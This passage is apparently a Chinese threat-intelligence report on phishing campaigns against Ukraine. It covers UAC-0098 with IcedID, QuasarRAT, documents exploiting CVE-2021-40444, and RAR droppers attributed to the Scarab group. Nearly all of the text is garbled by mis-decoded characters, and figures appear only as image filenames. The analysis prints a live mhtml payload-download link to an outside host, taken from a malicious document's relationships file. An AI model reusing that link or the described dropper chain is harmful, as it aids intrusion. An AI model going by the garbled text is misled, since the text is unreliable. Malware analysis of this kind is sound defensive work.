¡¤ 4ÔÂ14ÈÕ £¬±»ÎÚ¿ËÀ¼CERTÃüÃûΪ¡°UAC-0098¡±µÄºÚ¿Í×é֯ʹÓÃÃûΪ¡°§®§à§Ò?§Ý?§Ù§Ñ§è?§Û§ß§Ú§Û §â§Ö?§ã§ä§â.xls¡±£¨¡°·¢¶¯¹ÒºÅ²á.xls¡±£©µÄ¶ñÒâÎļþ¶ÔÎÚ¿ËÀ¼×éÖ¯¾ÙÐдó¹æÄ£ÍøÂç´¹ÂÚ¹¥»÷Ô˶¯¡£Ò»µ©Êܺ¦Õß·­¿ªÎĵµ²¢ÆôÓúê £¬¶ñÒâºê´úÂë»áÏÂÔز¢Ö´ÐÐÃûΪ¡°spisok.exe¡±µÄ¶ñÒâ´úÂë¡£ÆäÖÐ £¬¸Ã¡°spisok.exe¡±¶ñÒâ³ÌÐò»áÊÍ·ÅÔËÐÐGzipLoader¶ñÒâÈí¼þ £¬²¢ÇÒ´ÓºÚ¿Í·þÎñÆ÷ÉÏÏÂÔز¢ÔËÐÐIcedID¶ñÒâ³ÌÐò £¬¾ÙÐнøÒ»²½µÄÐÅÏ¢ÇÔÃÜÔ˶¯¡£


ͼ35.png


Èý¡¢µä·¶¹¥»÷ÊÂÎñÆÊÎö


Åãͬ¶íÎÚ³åͻʱÊƵÄÒ»Ö±¶ñ»¯ £¬½üÆÚÃé×¼ÎÚ¿ËÀ¼µÄÍøÂç¹¥»÷Ô˶¯ÏÔ×ÅÔö¶à¡£±¾½Ú´ÓÉÏÊöÖÚ¶àÕë¶ÔÎÚ¿ËÀ¼¾ÙÐеÄÍøÂç¹¥»÷ÊÂÎñÖÐ £¬»®·ÖÑ¡È¡ÓÅ·¢¹ú¼ÊÍøÕ¾¹ÙÍøADLabÔÚ2022Äê3ÔÂ6ÈÕºÍ3ÔÂ22ÈÕ¼à²âµ½µÄÁ½Æð¹¥»÷ÊÂÎñΪÀý £¬¾ÙÐÐÏêϸµÄÊÖÒÕÆÊÎö¡£


3.1 ¹¥»÷ÊÂÎñÒ»


2022Äê3ÔÂ6ÈÕ £¬ÓÅ·¢¹ú¼ÊÍøÕ¾¹ÙÍøADLab¼ì²âµ½Ò»ÅúÕë¹ØÓÚÎÚ¿ËÀ¼µÄÍøÂç¹¥»÷Ñù±¾ £¬¹¥»÷Õß½èÒÔ¡°ÎÚ¿ËÀ¼·ÀÓù·½·¨¡±¡¢¡°ÎÚ¿ËÀ¼±¨¸æ_×îÖÕ¡±¡¢¡°ÈÕÒæÖØ´óµÄ¶íÎÚΣ»úÚ¹ÊÍ¡±ºÍ¡°Ð¹Â¶µÄ¿ËÀïÄ·ÁÖ¹¬µç×ÓÓʼþÏÔʾÃ÷˹¿ËЭÒ顱µÈ¾ßÓи߶ÈÒÉ»óÐÔµÄÈÈÃÅÓÕ¶üÎĵµ¾ÙÐй¥»÷ £¬ÒÔ´ËÓÕʹÊܺ¦ÕßÐÅÍв¢Ö´ÐкóÐøµÄ¶ñÒâľÂí¡£


ͨ¹ý¶Ô¹¥»÷ÕßµÄËÝÔ´ºÍ¹ØÁªÆÊÎö £¬ÎÒÃÇÕûÀíÁËÆäÔڴ˴ι¥»÷Ô˶¯ÖÐʹÓõĶñÒâÎļþ¡£ÏêϸÐÅÏ¢ÈçϱíËùʾ¡£


ͼ36.png


 3.1.1 ¹¥»÷ÔغÉ


ÔÚ´Ë´ÎÔ˶¯µÄ³õʼ¹¥»÷»·½ÚÖÐ £¬¹¥»÷ÕßÖ÷ҪʹÓÃÁËÈýÖÖÃûÌõĹ¥»÷ÔغÉ £¬ÆäÖаüÀ¨Ð¯´ø¶ñÒâºêµÄ¶ñÒâÎĵµ¡¢Ð¯´øÎó²îµÄ¶ñÒâÎĵµºÍ¶ñÒâѹËõ°üÎļþ¡£


£¨1£©Ð¯´ø¶ñÒâºêµÄ¶ñÒâÎĵµ


¸Ã¶ñÒâÎĵµÒÔ¡°Leaked Kremlin emails show Minsk protocol designed as path toUkraine's capitulation¡±£¨Ò룺¡°Ð¹Â¶µÄ¿ËÀïÄ·ÁÖ¹¬µç×ÓÓʼþÏÔʾ £¬Ã÷˹¿ËЭÒé±»Éè¼Æ³ÉÎÚ¿ËÀ¼Í¶½µµÄ;¾¶¡±£©×÷ΪÓÕ¶üÄÚÈÝ £¬²¢ÌáÐÑÊܺ¦Õß¡°ÆôÓúꡱ¡£ÏêϸÄÚÈÝÈçÏÂͼËùʾ¡£


ͼ37.png


µ±Êܺ¦Õß·­¿ª¸ÃÎĵµ²¢ÆôÓúê´úÂ빦Чºó £¬½«×Ô¶¯Å²ÓÃDocument_Openº¯Êý £¬ÆäÖ÷Òª¹¦Ð§ÎªÌáÈ¡²¢Ö´ÐÐÉúÑÄÔÚUserForm1ÖеÄpowershellÖ¸Áî¡£


ͼ38.png


¶ÔpowershellºóÃæµÄ´úÂë¾ÙÐÐBase64½âÂëºó £¬»ñµÃÁË»ìÏýºóµÄps¾ç±¾¡£ÏêϸÄÚÈÝÈçÏÂͼËùʾ¡£


ͼ39.png


ÔڶԸþ籾¾ÙÐÐÈ¥»ìÏý´¦Öóͷ£ºó £¬¿ÉÒÔ¿´µ½¸ÃpowershellÖ¸ÁîµÄÖ÷Òª¹¦Ð§Îª´ÓÖ¸¶¨µÄurlÁбíÖÐÏÂÔØ¡°SoftwareUpdate.exe¡± £¬ÔÙ½«ÆäÉúÑĵ½%TEMP%Ŀ¼²¢ÃüÃûΪ¡°update.exe¡±¡£


ͼ40.png


£¨2£©¶ñÒâѹËõ°üÎļþ


ÁíÒ»ÖÖÀàÐÍÊÇRARѹËõ°üÎļþ £¬¹¥»÷Õß½«ÆäÃüÃûΪ¡°The increasinglycomplicated Russia-Ukraine crisis explained¡± £¬¸ÃѹËõÎļþ°üÀ¨ÓÃÓÚÒÉ»óÊܺ¦ÕßµÄÕý³£pdfÓÕ¶üÎĵµÒÔ¼°Î±×°³ÉpdfÎļþͼ±êµÄ¶þ½øÖÆ¿ÉÖ´ÐжñÒâ³ÌÐò£¨Í¨¹ýÐÞ¸Äexeͼ±êΪÎĵµÀ´ÓÕµ¼Êܺ¦Õßµã»÷£©¡£


ͼ41.png


Õý³£pdfÓÕ¶üÎĵµµÄ²¿·ÖÄÚÈÝÈçÏÂͼËùʾ¡£


ͼ42.png


£¨3£©Ð¯´øÎó²îµÄ¶ñÒâÎĵµ

¹¥»÷ÕßÔڴ˴ι¥»÷Ðж¯ÖÐʹÓõÄÊÇofficeÎó²îcve-2021-40444 £¬¸ÃÎó²îÊÇ΢ÈíÓÚ2021Äê9ÔÂÐû²¼µÄÒ»¸öMicrosoftMSHTMLÔ¶³Ì´úÂëÖ´ÐÐÎó²î¡£¹¥»÷Õß¿ÉÖÆ×÷Ò»¸öÓÉÍйÜä¯ÀÀÆ÷·ºÆðÒýÇæµÄ Microsoft Office ÎĵµÊ¹ÓõĶñÒâ ActiveX ¿Ø¼þ £¬Ö®ºóÓÕµ¼Óû§·­¿ª¶ñÒâÎĵµ £¬Ôò¿ÉÔÚÄ¿µÄϵͳÉÏÒÔ¸ÃÓû§È¨ÏÞÖ´ÐÐí§Òâ´úÂë¡£


ÎÒÃǽ«Ð¯´øÎó²îµÄ¶ñÒâÎĵµ½âѹºó £¬ÔÚrelsµÄdocument.xmlÎļþÖз¢Ã÷ÁË¿ÉÒɵÄÏÂÔØÁ´½Ó£ºTarget="mhtml:https://web.sunvn.net/QYWI6LH4M71O.html!x-usc:https://web.sunvn.net/QYWI6LH4M71O.html"¡£


ͼ43.png


ʵÑéÏÂÔظÃQYWI6LH4M71O.htmlÎļþ £¬·¢Ã÷·þÎñÆ÷ÒÑÎÞ·¨»á¼ûÁË £¬ÂÄÀúÖ¤¸ÃÓòÃûÒѾ­Ê§Ð§¡£


ÔÚ½øÒ»²½µÄÆÊÎöºó £¬ÎÒÃÇ·¢Ã÷¹¥»÷ÕßʹÓÃÁ˶¨ÖƵÄPOCÄ£°å¾ÙÐÐÅúÁ¿×Ô¶¯»¯ÌìÉú¶ñÒâÎĵµ £¬ÇÒ¶Ô¸÷Îó²îÎĵµÖаüÀ¨µÄÏÂÔØÁ´½ÓËùÖ¸ÏòµÄhtml¾ù¾ÙÐÐÁËËæ»ú»¯´¦Öóͷ£¡£


ͼ44.png


3.1.2 ºóÃÅÆÊÎö   


ÏÖÔÚ £¬ÓÅ·¢¹ú¼ÊÍøÕ¾¹ÙÍøADLab¼à²âµ½ºÚ¿Í×é֯ʹÓÃÁ˶ñÒâľÂíQuasarRATÀ´ÊµÏÖÇÔÃÜ¡¢Ô¶³Ì¿ØÖƵȶñÒâÐÐΪ¡£¸ÃľÂíÊÇÒ»ÖÖ¹ûÕæ¿ÉÓõĿªÔ´Ô¶³Ì»á¼ûľÂí £¬Ö÷ÒªÕë¶ÔWindows²Ù×÷ϵͳ¡£Æä×î³õÊÇÓÉGitHubÓû§ MaxXor ¿ª·¢ £¬ÓÃÓÚÕýµ±ÓÃ;¡£È»¶ø £¬¸Ã¹¤¾ßÒԺ󱻺ڿÍÓÃÓÚÖÖÖÖÍøÂçÌع¤Ô˶¯¡£¸ÃľÂíÌṩµÄ²¿·ÖÔ¶³Ì¹¦Ð§²Ëµ¥ÈçÏÂͼËùʾ¡£


ͼ45.png


Ïêϸ¹¦Ð§ÈçϱíËùʾ¡£


ͼ46.png


3.2 ¹¥»÷ÊÂÎñ¶þ


2022Äê3ÔÂ22ÈÕ £¬ÓÅ·¢¹ú¼ÊÍøÕ¾¹ÙÍøADLab²¶»ñµ½Ò»¸öÕë¶ÔÎÚ¿ËÀ¼µÄ¹¥»÷Ñù±¾¡£¹¥»÷Õßͨ¹ýÀàËÆ¡°¹ØÓÚÉúÑĶíÂÞ˹Áª°î¾ü¶Ó·¸·¨ÐÐΪµÄÊÓƵ¼Í¼¡±µÈ¾ßÓÐÒÉ»óÐÔµÄÎļþÃûÀ´ÓÕʹÊܺ¦ÕßÖ´ÐжñÒâľÂí £¬ÒԴ˵ִï¶ÔÌض¨¹¥»÷Ä¿µÄʵÑéÈëÇÖµÄÄ¿µÄ¡£ÎÒÃǶԴ˴ι¥»÷Ô˶¯µÄÏßË÷¾ÙÐÐÁËÉîÈëµÄ×·×ÙºÍËÝÔ´ÆÊÎö £¬·¢Ã÷ÆäÓëÀúÊ·ÓƾõÄScarabºÚ¿Í×éÖ¯¾ßÓÐÒ»¶¨µÄÏàËÆÐÔ¡£


3.2.1 ËÝÔ´ÆÊÎö


ÎÒÃÇÒÔºó´ÎºÚ¿Í×éÖ¯ËùʹÓõĻù´¡ÉèÊ©¼°¹¥»÷ÊÖ·¨µÈ²ãÃæ¾ÙÐйØÁªÆÊÎö £¬²¢ÍŽá¸Ã×éÖ¯ÔçÆÚ¹¥»÷Ô˶¯ÖеÄÏà¹ØÌØÕ÷ £¬µÃ³öÁËÏÂÃ漸´¦Ö÷ÒªµÄ¹ØÁªµã¡£


£¨1£©»ù´¡ÉèÊ©

ͨ¹ýÌáÈ¡ËùÓÐÑù±¾ÖеÄC2·þÎñÆ÷ £¬ÎÒÃÇ·¢Ã÷¹¥»÷ÕßÔÚ´Ë´ÎÔ˶¯ÖÐËùʹÓõĻØÁªÓòÃû £¬ÊÇÔÚChangeIp.comƽ̨ÉÏÃâ·Ñ×¢²áµÄÈý¼¶×ÓÓò£¨¸Ãƽ̨ÌṩµÄÃâ·ÑÓòÏÖʵÉÏÊǶþ¼¶Óò £¬ÈçÏÂͼËùʾ£©¡£


ͼ47.png


ΪÁËÈ·¶¨¹¥»÷ÕßËùÊô×éÖ¯ £¬ÎÒÃǶÔľÂí¾ÙÐÐËÝÔ´ÆÊÎö £¬ÕÒµ½ÁËÆäËûµÄͬԴľÂí¡£Éó²éÕâЩÓòÃûµÄ×¢²áÐÅÏ¢ £¬ÎÒÃÇ·¢Ã÷ÕâЩľÂíËùʹÓõÄC2Ò²¾ùÊÇÔÚChangeIp.comƽ̨¾ÙÐÐ×¢²áµÄ¡£²¢ÇÒÒѱ»±êעΪËùÊôScarabºÚ¿Í×éÖ¯¡£ÔÚÔçÆڵĹ¥»÷Ô˶¯ÖÐ £¬¸ÃºÚ¿Í×éÖ¯ÏÕЩÍêÈ«ÊÇͨ¹ý¶¯Ì¬ÓòÃûϵͳ£¨DDNS£©ÓòÀ´Ö´ÐÐÏÂÁîºÍ¿ØÖÆ£¨C&C£©²Ù×÷¡£ÏêϸÈçÏÂͼËùʾ¡£


ͼ48.png


£¨2£©¹¥»÷ÊÖ·¨


¹¥»÷ÕßÔڴ˴ι¥»÷Ô˶¯ÖÐ £¬ÊÇÒÔ¶ñÒâѹËõ°ü×÷Ϊ¹¥»÷ÔغÉ £¬ËäÈ»ÎÒÃÇδÄÜÈ·¶¨¸ÃÎļþÊÇ·ñͨ¹ýµç×ÓÓʼþ¾ÙÐÐͶµÝ¡£µ«Í¨¹ý¶ÔScarabºÚ¿Í×éÖ¯ÔçÆڵĹ¥»÷ÔغɾÙÐÐÖÜÈ«µØÍøÂçºÍÆÊÎöºó £¬ÎÒÃÇÊӲ쵽¸Ã×éÖ¯¹ßÓÚʹÓÃѹËõ°ü×÷ΪµÚÒ»½×¶ÎµÄÓÕ¶üÎĵµ¡£ÏêϸÈçÏÂͼËùʾ¡£


ͼ49.png


±ðµÄ £¬ºÚ¿Í×éÖ¯ÔÚÔçÆÚ¹¥»÷Ô˶¯ÖÐ £¬ÊÇͨ¹ýѹËõ°üÖеĶñÒâÎĵµÀ´Õö¿ªÏÂÒ»½×¶ÎµÄ¹¥»÷Ðж¯ £¬ÎĵµÖж¼°üÀ¨ÏàͬµÄÌáÐÑÄ £¿é¡£ÏêϸÄÚÈÝÈçÏÂͼËùʾ¡£


ͼ50.png


¶øÔÚ´Ë´ÎÔ˶¯ÖÐ £¬¹¥»÷Õ߸ÄÓÃÁËÓëѹËõ°üͬÃûµÄEXE¿ÉÖ´ÐÐÎļþÀ´¾ÙÐÐÈëÇÖÐÐΪ¡£µ«ÓëÔçÆÚÊÖ·¨ÏàËƵÄÊÇ £¬ÔÚÖ´ÐÐÍê´Ë½×¶ÎµÄ¹¥»÷Ôغɺó £¬Æ䶼»áÔÚ%TMP%Ŀ¼ÏÂдÈë²¢·­¿ªÒ»¸öÎÞº¦µÄÓëÖ÷ÌâÏà¹ØµÄÎĵµ £¬ÓÃÒÔÒÉ»óÊܺ¦Õß¡£ÏêϸÈçÏÂͼËùʾ¡£


ͼ51.png


³ýÁËÒÔÉÏö¾Ù³öµÄ¹¥»÷ÊÖ·¨Í¬ScarabºÚ¿Í×éÖ¯¾ßÓÐÒ»¶¨µÄÖصþÐÔÒÔÍâ £¬ÔÚºóÐø¹¥»÷Öй¥»÷ÕßʹÓõ½µÄ¶ñÒâ¾ç±¾ºÍľÂí£¨°üÀ¨ÎļþÃû³ÆºÍÄÚÈÝ£©¾ùΪ¸Ã×éÖ¯ËùÓС£


ͼ52.png

ͼ53.png


»ùÓÚ¸Ã×éÖ¯µÄÓòÃûʹÓÃϲ»¶¡¢¹¥»÷ÊÖ·¨ºÍÈëÇÖÕ½ÂԵȷ½ÃæµÄ±ÈÕÕÆÊÎö £¬ÎÒÃÇÆðÔ´Åжϱ¾´ÎµÄ¹¥»÷Ô˶¯À´×ÔScarabºÚ¿Í×éÖ¯¡£ÖµµÃ×¢ÖصÄÊÇ £¬ScarabºÚ¿Í×éÖ¯Ôø±»²¿·ÖÍâÑó¹«Ë¾±ê¼ÇΪÀ´×ÔÖйúµÄºÚ¿Í×éÖ¯¡£È»¶ø £¬ÎÒÃǶÔÕâЩ¹«Ë¾ÌṩµÄÏêϸ±¨¸æºÍËùνµÄÖ¤¾Ý¾ÙÐÐ×ÐϸÆÊÎöºó·¢Ã÷ £¬ËùνµÄÖ¤¾Ý²»¹ýÊÇÎÞ·¨ÌṩµÄ¡°»ùÓÚÓïÑÔµÄ×ÊÔ´¡±ºÍÓÕ¶üÎĵµÖеÄÖÐÎÄ¡°Óû§¡±¶þ×Ö £¬ÕâÏÔȻ̫¹ýǣǿ £¬ÎÒÃDz¢²»ÖªµÀ¸Ã¹«Ë¾°Ñ¹¥»÷¹é×ïÓÚÖйúµÄÄ¿µÄÊÇʲô £¬µ«ÕâÖÖ¡°Æ¾Ö¤ÎÞÁ¦µÄÖ¤¾Ý¾Í°ÑÍøÂç¹¥»÷¹é×ïÓÚÖйú¡±µÄǣǿÂß¼­²¢²»ÉÙ¼û £¬Æä±³ºóµÄÍÆÊÖ¼°ÆäÄ¿µÄÔçÒÑÕÑÈ»Èô½Ò¡£


3.2.2 ÊÖÒÕÆÊÎö


´Ë´Î¹¥»÷Ô˶¯ÖÐ £¬ÓÅ·¢¹ú¼ÊÍøÕ¾¹ÙÍøADLab²¶»ñµ½Á˸Ã×é֯ʹÓÃRARÎļþµÄ·½·¨À´Õö¿ª¹¥»÷¡£ÎÒÃÇËäδÄÜÈ·¶¨¸Ã¶ñÒâÎļþµÄȪԴ £¬µ«Æ¾Ö¤ÒÔÍùµÄ¹¥»÷ £¬¿ÉÒÔÍƶÏScarab×éÖ¯ÓпÉÄÜÊÇʹÓô¹ÂÚÓʼþ £¬½«Ñ¹Ëõ°ü×÷Ϊ¸½¼þ´Ó¶ø¾ÙÐй¥»÷Ðж¯¡£µ±Ñ¹Ëõ°üÖеÄexeÎļþ±»Ö´Ðкó £¬»áÊͷŲ¢·­¿ªÎÞº¦µÄÓÕ¶üpdfÎĵµ £¬Í¬Ê±ÔÚ%TEMP%Ŀ¼ÏÂдÈë²¢Ö´ÐС°officecleaner.bat¡±Åú´¦Öóͷ£Îļþ¡£Ö®ºó £¬batÎļþÔòÔÚͬĿ¼ÏÂÊÍ·Å¡°httpshelper.dll¡±¶ñÒâÎļþ £¬²¢Å²ÓÃrundll32.exeÖ´ÐжñÒâľÂí¡£µ¥´Ó¹¦Ð§À´¿´ £¬´ËľÂí½ö°üÀ¨¼òÆÓµÄÉÏ´«ÏÂÔØÎļþ¡¢ÉèÖÃÐÝÃßʱ¼äµÈ £¬¿ÉÊÇ £¬Æä¿ÉÖ±½Ó´ÓÏÂÁîºÍ¿ØÖÆ£¨C2£©·þÎñÆ÷ÉÏ £¬ÏÂÔؼÓÔØÌض¨¹¦Ð§Ä £¿éÀ´½øÒ»²½µÄÖ´ÐжñÒâ²Ù×÷¡£


£¨1£©³õʼÔغÉ


ÓÅ·¢¹ú¼ÊÍøÕ¾¹ÙÍøADLab×î³õ·¢Ã÷µÄRARÎļþ £¬Ãû³ÆΪ¡°§á§â§à§Ù§Ò§Ö§â§Ö§Ø§Ö§ß§ß§ñ§Ó§Ù§Ö§à§Þ§Ñ§ä§Ö§â?§Ñ§Ý?§Ó§Ù§æ?§Ü§ã§Ñ§è?§ê§Û§Ñ§â§Þ?§ê?§²§à§ã?§Û§ã§î§Ü§à§ð§æ§Ö§Õ§Ö§â§Ñ§è?????.rar¡±£¨Ò룺¡°¹ØÓÚÉúÑĶíÂÞ˹Áª°î¾ü¶Ó·¸·¨ÐÐΪµÄÊÓƵ¼Í¼.rar¡±£© £¬Ñ¹Ëõ°üÖаüÀ¨Ò»¸öͬÃûµÄEXE¿ÉÖ´ÐÐÎļþ¡£


ͼ54.png


µ±¶ñÒâEXEÎļþÖ´Ðкó £¬»á´ÓÆä×ÊÔ´½ÚÖжÁÈ¡Ö¸¶¨µÄÊý¾Ý²¢Ð´Èëµ½Óû§µçÄÔ%TEMP%Ŀ¼Ï £¬¸ÃÎļþÊÇÃûΪ¡°#2163_02_33-2022.pdf¡±£¨À´×ÔÓÚÎÚ¿ËÀ¼¹ú¼Ò¾¯Ô±¾ÖµÄÀ´ÐÅ£©µÄÓÕ¶üÎļþ £¬ËæºóÔÙÖ´ÐÐCMDÏÂÁî·­¿ª´ËÎļþ¡£ÎļþÏêϸÄÚÈÝÈçÏÂͼËùʾ¡£


ͼ55.png


ͼ56.png


½Ó×Å £¬ÔٴζÁÈ¡Ö¸¶¨µÄ×ÊÔ´Êý¾Ý £¬²¢½«ÆäдÈëµ½%TEMP%Ŀ¼Ï £¬ÃüÃûΪ¡°officecleaner.bat¡±¡£ÄÚÈÝÈçÏÂͼËùʾ¡£


ͼ57.png


×îºó £¬Ê¹ÓÃCMDÏÂÁBATÎļþÌí¼Óµ½×¢²á±íÆô¶¯Ïî £¬ÒÔÈ·±£¸ÃÅú´¦Öóͷ£ÎļþµÄ³¤ÆÚÐÔ¡£


ͼ58.png


£¨2£©batÅú´¦Öóͷ£Îļþ


¡°officecleaner.bat¡±µÄÖ÷Òª¹¦Ð§Îª £¬Ìæ»»%TMP%Ŀ¼Ï¡°officecleaner.bat¡±µÄMZÍ·²¿²¢ÔÚͬĿ¼ÏÂдÈë¡°httpshelper.dll¡±Îļþ £¬Ö®ºóɾ³ýbatÅú´¦Öóͷ£Îļþ £¬ÒÔ¼°Ìí¼Ó¿ª»úÆô¶¯ÏîÈ·±£´ËDLLÎļþµÄ³¤ÆÚ»¯¡£


ͼ59.png


£¨3£©¶ñÒâľÂí


DLLÎļþÔÚDllMainÈë¿Ú´¦ £¬»áÏÈÅжÏÆä×ÔÉíµÄ¼ÓÔسÌÐòÊÇ·ñΪ¡°rundll32.exe¡±¡£µ±ÅжÏЧ¹ûΪtrueʱ £¬ÔòŲÓÃdllµÄÖ÷¹¦Ð§µ¼³öº¯Êý¡°OAService¡±¡£


ͼ60.png


¸ÃÖ÷¹¦Ð§º¯ÊýÊ×ÏÈͨ¹ýPEB¶¯Ì¬»ñÈ¡ºóÆÚËùʹÓõÄAPIº¯Êý¡£


ͼ61.png


Ö®ºó»ñȡϵͳĿ¼µÄ¾íÐòÁкŲ¢¾ÙÐÐÉúÑÄ¡£


ͼ62.png


½Ó×Å £¬½«»ñÈ¡µ½µÄÐòÁкžÙÐÐÃûÌû¯ºó·¢Ë͸øºÚ¿Í×éÖ¯µÄ·þÎñÆ÷¡£


ͼ63.png


µ±Óë·þÎñÆ÷ÀÖ³ÉÅþÁ¬ºó £¬Ôòƾ֤·þÎñÆ÷µÄ¿ØÖÆÖ¸ÁîÀ´¾ÙÐÐÏìÓ¦µÄ²Ù×÷¡ £¿ØÖÆÖ¸Áî½Ï¼òÆÓ £¬°üÀ¨ÉÏ´«Îļþ¡¢ÏÂÔØÎļþ¡¢ÎüÊÕ·¢ËÍÖ¸¶¨Ãü¾ÝºÍÖ¸¶¨ÐÝÃßʱ¼äµÈ¡£


ͼ64.png


ËÄ¡¢×ܽá


¶íÎÚÕ½Õù±¬·¢ÒÔÀ´ £¬Ë«·½³ýÁËÔÚʵµØÕ½³¡¾ÙÐн»·æÍâ £¬ÔÚÍøÂç¿Õ¼äÕ½³¡ÖоÙÐеIJ©ÞÄÒ²Óú¼ÓÇ¿ÁÒ£»²»ÄÑ·¢Ã÷ £¬ÍøÂç¿Õ¼äÕ½ÒѳÉΪÏÖ´úÕ½ÕùµÄÖ÷Òª×é³É²¿·Ö £¬ÍøÂçÕ½¶ÔÏÖ´úÕ½ÕùʱÊƵÄÓ°ÏìͬÑùÖ÷Òª¡£ÔÚ¶íÎÚÕ½ÕùÖÜÈ«±¬·¢Ö®Ç° £¬Ë«·½ÔÚÍøÂç¿Õ¼äÕ½³¡¾ÍÔçÒѽ»·æ £¬Ö»²»¹ýÍøÂçÕ½±¬·¢ÓÚÒ»¸ö¡°ÎÞÉùµÄ²¢ÇÒûÓÐÏõÑ̵ÄÕ½³¡¡± £¬²¢²»Îª¹«ÖÚËù¹Ø×¢ £¬µ«Æä¶ÔʵµØÕ½ÕùµÄÓ°ÏìÈ´¾Ù×ãÇáÖØ£»ºÃ±È £¬ÔÚÎÚ¶íÕ½Õù±¬·¢µ±Ìì £¬¶íÂÞ˹¶ÔÎÚ¿ËÀ¼µÄ²¿·Ö¾üÊ»ùµØ¾ÙÐС°¶¨µãɨ³ý¹¥»÷¡± £¬Ö±½Óµ¼ÖÂÎÚ¿ËÀ¼Ê§È¥ÔÚµÚһʱ¼äÄÚ»¹»÷µÄÄÜÁ¦ £¬´Ë¡°¶¨µãɨ³ý¹¥»÷¡±±³ºóËùÉæ¼°µÄÇ鱨ºÜ¿ÉÄܾÍÊÇ´ÓÍøÂçÕ½ÖлñÈ¡£»Õ½ÕùÖÜÈ«±¬·¢ºó £¬Ë«·½ÔÚÍøÂçÕ½³¡µÄ½»·æÔ½·¢Ç¿ÁÒ £¬ÖÖÖÖÍøÂç¹¥»÷ÊÂÎñƵ·¢ £¬ÍøÂç¹¥»÷Ò»·½ÃæÄܹ»ÇÔÈ¡µÐÊÖÊÖÖÐÓëÕ½ÕùϸÃÜÏà¹ØµÄÉñÃØÐÅÏ¢ £¬ÁíÒ»·½ÃæÆÆËðÍøÂçºÍÆäËû»ù´¡ÉèÊ©Ò²ÄÜÕðÉåµÐÊÖ £¬ÈÅÂÒµÐÊÖ¶ÔʵµØÕ½¾ÖµÄʱÊÆÅжÏ £¬´Ó¶øÓ°ÏìÕ½¾Ö×ßÊÆ¡£ÍŽ᱾´Î¹¥»÷Ô˶¯ÆÊÎö¼°ÒÔÍùÎÒÃǶÔÎÚ¿ËÀ¼ÔâÊܵĺڿ͹¥»÷µÄÆÊÎö¡ª¡ª¡¶ÎÚ¿ËÀ¼Õ½Õù±³ºóµÄÍøÂç¹¥»÷ºÍÇ鱨Ô˶¯¡·ºÍ¡¶Õë¶ÔÎÚ¿ËÀ¼±ß·À¾ÖºÍ¹ú·À²¿¹¥»÷Ô˶¯Éî¶ÈÆÊÎö¡· £¬¿ÉÒÔ¿´³ö £¬ÍøÂç¿Õ¼äÕ½×Åʵ±ÈʵµØÕ½Õù±¬·¢µÄʱ¼ä¸üÔç £¬Õ½Ï߸ü³¤²¢ÇÒÒþ²Ø £¬ÍøÂç¿Õ¼äÇå¾²¶Ô¹ú¼ÒÇå¾²µÄÖ÷ÒªÐÔ²»ÑÔ¶øÓ÷¡£